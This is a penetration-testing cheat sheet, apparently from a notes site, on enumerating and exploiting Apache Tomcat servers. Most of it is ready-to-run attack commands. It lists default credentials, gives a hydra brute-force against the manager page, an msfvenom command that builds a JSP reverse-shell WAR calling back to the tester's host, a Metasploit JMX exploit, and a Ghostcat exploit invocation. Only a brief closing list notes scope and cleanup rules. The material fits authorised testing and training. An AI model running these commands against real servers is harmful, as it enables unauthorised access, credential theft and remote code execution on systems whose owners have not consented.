7.-Tomcat-discovery-and-enumeration

HTTP Server Header:
```
curl -I http://target:port/ | grep -i "Server"
```
- Check if the "Server" header reveals the Tomcat version.
/docs Page:
```
curl -s http://target:port/docs/ | grep -i "Apache Tomcat"
```
- Default documentation page may disclose the version.
Error Pages:
```
curl -s http://target:port/nonexistentpage
```
- Sometimes, error pages leak version information.
Specific File Checks:
- If access is gained, check JAR files in /lib directory.
- Version-specific vulnerabilities may relate to these files.

Using Gobuster:

gobuster dir -u http://target:port/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Using Wfuzz:

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://target:port/FUZZ

Default Credentials:

tomcat:tomcat
admin:admin
tomcat:password
role1:role1
role:changeme

Brute-forcing Credentials:

hydra -l tomcat -P /usr/share/wordlists/rockyou.txt target http-get /manager/html

If access is gained, check for application deployment, undeployment, and management functionalities.

Local File Inclusion (LFI) to read credentials:
```
cat /conf/tomcat-users.xml
```
Check for plaintext usernames and passwords.

After authentication to /manager:
- Upload a malicious WAR file containing a JSP web shell.

Create JSP reverse shell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=yourIP LPORT=yourPort -f war > shell.war

Deploy via Manager interface and access via browser:
```
http://target:port/shell.jsp
```

java -jar jmxterm-1.0-alpha-4-uber.jar --url service:jmx:rmi:///jndi/rmi://target:port/jmxrmi

use exploit/multi/misc/java_jmx_server
set RHOST target
set RPORT 1099
run

Check if AJP is enabled (Default: Port 8009):
```
nmap -p 8009 --script ajp-headers target
```
Exploit AJP using Ghostcat (CVE-2020-1938):
```
python3 ghostcat.py -u target:8009
```
AJP misconfigurations can lead to sensitive file disclosure or code execution.

Enumerate web applications in /webapps/ directory:

gobuster dir -u http://target:port/webapps/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Find JSP files and servlets:

wfuzz -c -z file,/usr/share/wordlists/extensions_common.txt --hc 404 http://target:port/FUZZ.jsp

Fuzz application parameters for vulnerabilities:

ffuf -u http://target:port/index.php?FUZZ=value -w /usr/share/wordlists/parameters.txt

Identify sensitive configuration files:
- catalina.properties
- server.xml
- context.xml
Extract credentials, ports, and security settings.

Identify version-specific vulnerabilities:
```
searchsploit tomcat [version]
```
Public exploits for Tomcat:
```
exploitdb -s tomcat
```

Least Privilege: Use minimal required privileges during enumeration.
Target Scope: Stay within the defined scope of the penetration test.
Documentation: Record all findings and methodologies.
Client Communication: Keep the client informed of critical discoveries.
Clean Up: Remove temporary files and restore original configurations if testing in an authorized environment.

Last updated 2 months ago